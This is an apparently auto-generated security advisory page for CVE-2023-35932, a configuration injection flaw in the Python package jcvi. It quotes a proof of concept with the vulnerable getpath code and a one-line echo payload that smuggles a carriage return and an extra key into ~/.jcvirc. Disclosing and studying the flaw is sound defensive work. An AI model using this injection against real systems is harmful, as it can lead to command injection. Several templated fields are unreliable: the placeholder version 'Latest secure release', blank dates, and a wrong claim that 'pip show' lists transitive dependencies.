CVE-2023-35932: Jcvi Jcvi Vulnerable To Configuration Injection Vulnerability

HIGH
Advisory Identifier: GHSA-x49m-3cw7-gq5q
CVSS 7.1
CWE-1284 CWE-77
Published
Advisory Summary

CVE-2023-35932 is a HIGH (CVSS 7.1) jcvi vulnerable to configuration injection vulnerability (CWE-1284: Improper Validation of Specified Quantity in Input) affecting Jcvi libraries in the PyPI ecosystem. The issue involves jcvi vulnerable to configuration injection due to unsanitized user input. Remediation is available in the latest vendor maintenance releases.

CVE-2023-35932 at a Glance

CVE Identifier CVE-2023-35932
GHSA Identifier GHSA-x49m-3cw7-gq5q
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-1284: Improper Validation of Specified Quantity in Input
Affected Product Jcvi
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2023-35932

To remediate this vulnerability, upgrade all affected Jcvi dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

jcvi fixed: Latest secure release
pip install jcvi>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show jcvi

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2023-35932, inspect your installed packages using pip:

pip show jcvi

Analyze the terminal output to locate any version of Jcvi in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show jcvi command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1284: Improper Validation of Specified Quantity in Input, where the product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties. In Jcvi, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection. ### PoC The vulnerable code snippet is [/jcvi/apps/base.py#LL2227C1-L2228C41](https://github.com/tanghaibao/jcvi/blob/cede6c65c8e7603cb266bc3395ac8f915ea9eac7/jcvi/apps/base.py#LL2227C1-L2228C41). Under some circumstances a user input is retrieved and stored within the `fullpath` variable which reaches the configuration file `~/.jcvirc`. ```python fullpath = input(msg).strip() config.set(PATH, name, fullpath) ``` I ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the `getpath()` function under some circumstances. ```python from configparser import ( ConfigParser, RawConfigParser, NoOptionError, NoSectionError, ParsingError, ) import errno import os import sys import os.path as op import shutil import signal import sys import logging def is_exe(fpath): return op.isfile(fpath) and os.access(fpath, os.X_OK) def which(program): """ Emulates the unix which command. >>> which("cat") "/bin/cat" >>> which("nosuchprogram") """ fpath, fname = op.split(program) if fpath: if is_exe(program): return program else: for path in os.environ["PATH"].split(os.pathsep): exe_file = op.join(path, program) if is_exe(exe_file): return exe_file return None def getpath(cmd, name=None, url=None, cfg="~/.jcvirc", warn="exit"): """ Get install locations of common binaries First, check ~/.jcvirc file to get the full path If not present, ask on the console and store """ p = which(cmd) # if in PATH, just returns it if p: return p PATH = "Path" config = RawConfigParser() cfg = op.expanduser(cfg) changed = False if op.exists(cfg): config.read(cfg) assert name is not None, "Need a program name" try: fullpath = config.get(PATH, name) except NoSectionError: config.add_section(PATH) changed = True try: fullpath = config.get(PATH, name) except NoOptionError: msg = "=== Configure path for {0} ===\n".format(name, cfg) if url: msg += "URL: {0}\n".format(url) msg += "[Directory that contains `{0}`]: ".format(cmd) fullpath = input(msg).strip() config.set(PATH, name, fullpath) changed = True path = op.join(op.expanduser(fullpath), cmd) if warn == "exit": try: assert is_exe(path), "***ERROR: Cannot execute binary `{0}`. ".format(path) except AssertionError as e: sys.exit("{0!s}Please verify and rerun.".format(e)) if changed: configfile = open(cfg, "w") config.write(configfile) logging.debug("Configuration written to `{0}`.".format(cfg)) return path # Call to getpath path = getpath("not-part-of-path", name="CLUSTALW2", warn="warn") print(path) ``` To run the PoC, you need to remove the config file `~/.jcvirc` to emulate the first run, ```bash # Run the PoC with the payload echo -e "e\rvvvvvvvv = zzzzzzzz\n" | python3 poc.py ``` ![image](https://user-images.githubusercontent.com/13036531/247852364-f8a384a3-fc62-41ca-b467-877d197ac6ff.png) You can notice the random key/value characters `vvvvvvvv = zzzzzzzz` were successfully injected. ### Impact The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.

CVE-2023-35932 Affected Jcvi Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
jcvi
PyPI
≤ 1.3.5

References

Frequently Asked Questions

What is CVE-2023-35932?
CVE-2023-35932 is a security vulnerability in Jcvi involving jcvi vulnerable to Configuration Injection due to unsanitized user input under CWE-1284: Improper Validation of Specified Quantity in Input.
Which Jcvi versions are affected?
Affected versions include releases prior to current release patches across affected packages: jcvi.
What version fixes CVE-2023-35932?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is jcvi affected?
Yes, jcvi is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2023-35932?
CVE-2023-35932 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2023-35932?
CVE-2023-35932 is classified under CWE-1284: Improper Validation of Specified Quantity in Input (The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties.).
How can I check PyPI dependencies for CVE-2023-35932?
Run the dependency tree command: 'pip show jcvi'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x49m-3cw7-gq5q",
  "modified" : "2023-06-26T16:31:23Z",
  "published" : "2023-06-23T21:44:35Z",
  "aliases" : [ "CVE-2023-35932" ],
  "summary" : "jcvi vulnerable to Configuration Injection due to unsanitized user input ",
  "details" : "### Summary\nA configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection.\n\n### PoC\n\nThe vulnerable code snippet is [/jcvi/apps/base.py#LL2227C1-L2228C41](https://github.com/tanghaibao/jcvi/blob/cede6c65c8e7603cb266bc3395ac8f915ea9eac7/jcvi/apps/base.py#LL2227C1-L2228C41). Under some circumstances a user input is retrieved and stored within the `fullpath` variable which reaches the configuration file `~/.jcvirc`.\n\n```python\n        fullpath = input(msg).strip()\n        config.set(PATH, name, fullpath)\n```\n\nI ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the `getpath()` function under some circumstances.\n\n```python\nfrom configparser import (\n    ConfigParser,\n    RawConfigParser,\n    NoOptionError,\n    NoSectionError,\n    ParsingError,\n)\n\nimport errno\nimport os\nimport sys\nimport os.path as op\nimport shutil\nimport signal\nimport sys\nimport logging\n\n\ndef is_exe(fpath):\n    return op.isfile(fpath) and os.access(fpath, os.X_OK)\n\n\ndef which(program):\n    \"\"\"\n    Emulates the unix which command.\n\n    >>> which(\"cat\")\n    \"/bin/cat\"\n    >>> which(\"nosuchprogram\")\n    \"\"\"\n    fpath, fname = op.split(program)\n    if fpath:\n        if is_exe(program):\n            return program\n    else:\n        for path in os.environ[\"PATH\"].split(os.pathsep):\n            exe_file = op.join(path, program)\n            if is_exe(exe_file):\n                return exe_file\n\n    return None\n\n\ndef getpath(cmd, name=None, url=None, cfg=\"~/.jcvirc\", warn=\"exit\"):\n    \"\"\"\n    Get install locations of common binaries\n    First, check ~/.jcvirc file to get the full path\n    If not present, ask on the console and store\n    \"\"\"\n    p = which(cmd)  # if in PATH, just returns it\n    if p:\n        return p\n\n    PATH = \"Path\"\n    config = RawConfigParser()\n    cfg = op.expanduser(cfg)\n    changed = False\n    if op.exists(cfg):\n        config.read(cfg)\n\n    assert name is not None, \"Need a program name\"\n\n    try:\n        fullpath = config.get(PATH, name)\n    except NoSectionError:\n        config.add_section(PATH)\n        changed = True\n\n    try:\n        fullpath = config.get(PATH, name)\n    except NoOptionError:\n        msg = \"=== Configure path for {0} ===\\n\".format(name, cfg)\n        if url:\n            msg += \"URL: {0}\\n\".format(url)\n        msg += \"[Directory that contains `{0}`]: \".format(cmd)\n        fullpath = input(msg).strip()\n        config.set(PATH, name, fullpath)\n        changed = True\n\n    path = op.join(op.expanduser(fullpath), cmd)\n    if warn == \"exit\":\n        try:\n            assert is_exe(path), \"***ERROR: Cannot execute binary `{0}`. \".format(path)\n        except AssertionError as e:\n            sys.exit(\"{0!s}Please verify and rerun.\".format(e))\n\n    if changed:\n        configfile = open(cfg, \"w\")\n        config.write(configfile)\n        logging.debug(\"Configuration written to `{0}`.\".format(cfg))\n\n    return path\n\n\n# Call to getpath\npath = getpath(\"not-part-of-path\", name=\"CLUSTALW2\", warn=\"warn\")\nprint(path)\n\n```\n\nTo run the PoC, you need to remove the config file `~/.jcvirc` to emulate the first run, \n\n```bash\n# Run the PoC with the payload\necho -e \"e\\rvvvvvvvv = zzzzzzzz\\n\" | python3 poc.py\n```\n\n![image](https://user-images.githubusercontent.com/13036531/247852364-f8a384a3-fc62-41ca-b467-877d197ac6ff.png)\n\nYou can notice the random key/value characters `vvvvvvvv = zzzzzzzz` were successfully injected.\n\n### Impact\n\nThe impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "jcvi"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.3.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tanghaibao/jcvi/security/advisories/GHSA-x49m-3cw7-gq5q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-35932"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tanghaibao/jcvi"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tanghaibao/jcvi/blob/cede6c65c8e7603cb266bc3395ac8f915ea9eac7/jcvi/apps/base.py#LL2227C1-L2228C41"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1284", "CWE-77" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-06-23T21:44:35Z",
    "nvd_published_at" : "2023-06-23T22:15:08Z"
  }
}